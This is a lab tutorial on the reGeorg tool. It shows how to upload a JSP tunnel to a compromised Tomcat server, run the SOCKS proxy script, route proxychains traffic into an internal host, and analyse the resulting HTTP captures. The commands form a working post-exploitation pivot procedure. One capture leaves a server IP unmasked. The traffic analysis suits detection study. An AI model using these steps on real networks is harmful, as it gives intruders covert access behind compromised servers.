How to Use reGeorg for Efficient HTTP Tunneling and Proxy Access to Internal Networks

Introducing reGeorg

The predecessor of reGeorg is the 2008 extension and expansion of reDuh by SensePost at BlackHat USA 2008.

reGeorg is the successor to reDuh, utilizing the session layer socks5 protocol, offering higher efficiency compared to reDuh.

The function of establishing an HTTP tunnel through reGeorg is evident when we can access Server A from an external network but cannot interact with a host located within the internal network. At this time, reGeorg comes into play. Suppose we have obtained a web shell for Server A, but the internal host’s ICMP, DNS, TCP, and UDP protocols cannot reach the external network, with the only data channel being a web shell acting as a forward proxy.

Therefore, install reGeorg on a server accessible from the public network, and it acts as a relay between the attacker and the internal host, thus enabling information exchange between the attacker and the internal network.

reGeorg download link:

Code Language: JavascriptCopy

git clone https://github.com/sensepost/reGeorg.git

Topology Using reGeorg

>

Environment: reGeorg

A VPS acts as the victim service endpoint A with IP: 182.x.x.x. A Docker is deployed on the victim machine, setting up a Tomcat inside it with port 8080 open. Another VPS with IP: 81.x.x.x acts as the attacker, establishing an HTTP tunnel using reGeorg as a tool for setting up the HTTP tunnel.

Setup Process

1. On the victim server’s HTTP server root directory where a shell has been obtained, upload a tunnel.jsp. After uploading,

>

test whether it can be accessed.

Code Language: JavascriptCopy

curl http://182.x.x.x:8080/tunnel.jsp

The server returns Georg says, ‘All seems fine’

Server-side configuration complete

2. On the attacker’s machine, download the reGeorg script, running it and setting up a port 3333 to act as the HTTP tunnel port.

Code Language: JavascriptCopy

python reGeorgSocksProxy.py -l 0.0.0.0 -p 3333 -u http://x.x.x.x:8080/tunnel.jsp

3. Open the proxychain settings on the Kali attacker machine, set up the proxy. Configure the proxy to the VPS’s IP and port 3333.

Code Language: JavascriptCopy

vim /etc/proxychains.confAdd a line at the endsocks5 81.x.x.x 3333

Access the internal network server through the proxy on Kali.

Code Language: JavascriptCopy

proxychains curl http://172.17.0.2/login.php

Successfully accessed and completed the setup

Traffic Analysis

Kali

On Kali, capture packets, then access the internal network, using tcpdump to capture packets and analyze traffic.

Code Language: JavascriptCopy

tcpdump -i eth0 -w kali.pcap

Then open Wireshark to trace TCP streams and observe traffic.

Code Language: JavascriptCopy

...............P.........PGET /login.php HTTP/1.1Host: 172.17.0.2User-Agent: curl/7.68.0Accept: */*HTTP/1.1 200 OKDate: Thu, 17 Dec 2020 16:39:09 GMTServer: Apache/2.4.7 (Ubuntu)X-Powered-By: PHP/5.5.9-1ubuntu4.25Set-Cookie: PHPSESSID=7mhcg05sbeerpgjvthqad6r7t6; path=/Expires: Tue, 23 Jun 2009 12:00:00 GMTCache-Control: no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=7mhcg05sbeerpgjvthqad6r7t6; path=/; httponlySet-Cookie: security=impossible; httponlyVary: Accept-EncodingContent-Length: 1567Content-Type: text/html;charset=utf-8

Server A

On server A, when capturing the first stream, it indicates that server A serves as a pivot, showing which internal host and port the server connects to cmd=connect target=172.17.0.2 target internal IP port=80 port is 80

Code Language: JavascriptCopy

POST http://182.x.x.x:8080/tunnel.jsp?cmd=connect&target=172.17.0.2&port=80 HTTP/1.1Host: 182.x.x.x:8080Accept-Encoding: identityContent-Length: 0X-CMD: CONNECTX-PORT: 80X-TARGET: 172.17.0.2User-Agent: python-urllib3/1.26.2HTTP/1.1 200 OKServer: Apache-Coyote/1.1Set-Cookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnlyX-STATUS: OKContent-Type: text/htmlContent-Length: 0Date: Thu, 17 Dec 2020 16:44:45 GMT

The next stream, cmd=read, represents access to the internal content

Accept-Encoding: identity in the request HTTP header announces its content encoding, as long as it’s not explicitly forbidden

The server should not return a 406 Not Acceptable error

The response header: Transfer-Encoding: chunked indicates that it uses chunked transfer encoding

Code Language: JavascriptCopy

POST /tunnel.jsp?cmd=read HTTP/1.1Host: 182.x.x.x:8080Accept-Encoding: identityContent-Length: 0X-CMD: READCookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnlyConnection: Keep-AliveUser-Agent: python-urllib3/1.26.2HTTP/1.1 200 OKServer: Apache-Coyote/1.1X-STATUS: OKContent-Type: text/htmlTransfer-Encoding: chunkedDate: Thu, 17 Dec 2020 16:44:45 GMT

The following stream is cmd=forward, forwarding to the internal network

Code Language: JavascriptCopy

POST /tunnel.jsp?cmd=forward HTTP/1.1Host: 182.92.73.106:8080Accept-Encoding: identityContent-Length: 83Content-Type: application/octet-streamX-CMD: FORWARDCookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnlyConnection: Keep-AliveUser-Agent: python-urllib3/1.26.2GET /login.php HTTP/1.1Host: 172.17.0.2User-Agent: curl/7.68.0Accept: */*HTTP/1.1 200 OKServer: Apache-Coyote/1.1X-STATUS: OKContent-Type: text/htmlContent-Length: 0Date: Thu, 17 Dec 2020 16:44:45 GMT

Finally, it’s cmd=disconnect which closes the connection

Code Language: JavascriptCopy

POST /tunnel.jsp?cmd=disconnect HTTP/1.1Host: 182.x.x.x:8080Accept-Encoding: identityX-CMD: DISCONNECTCookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnlyUser-Agent: python-urllib3/1.26.2HTTP/1.1 200 OKServer: Apache-Coyote/1.1X-STATUS: OKContent-Type: text/htmlContent-Length: 0Date: Thu, 17 Dec 2020 16:44:45 GMT

Internal Network Server

On the internal network server, capture packets and see that Server A requested login.php from the internal network.

Code Language: JavascriptCopy

GET /login.php HTTP/1.1Host: 172.17.0.2User-Agent: curl/7.68.0Accept: */*HTTP/1.1 200 OKDate: Thu, 17 Dec 2020 16:53:17 GMTServer: Apache/2.4.7 (Ubuntu)X-Powered-By: PHP/5.5.9-1ubuntu4.25Set-Cookie: PHPSESSID=65ehap87lgj2sk84poopt0aep3; path=/Expires: Tue, 23 Jun 2009 12:00:00 GMTCache-Control: no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=65ehap87lgj2sk84poopt0aep3; path=/; httponlySet-Cookie: security=impossible; httponlyVary: Accept-EncodingContent-Length: 1567Content-Type: text/html;charset=utf-8

Summary

Through the process of analyzing traffic from setting up the entire HTTP tunnel, we can see that initially it connects to a specified internal IP and port through tunnel.jsp. Then it reads, announces its content encoding as identity, uses chunked transfer, and finally closes the connection with disconnect.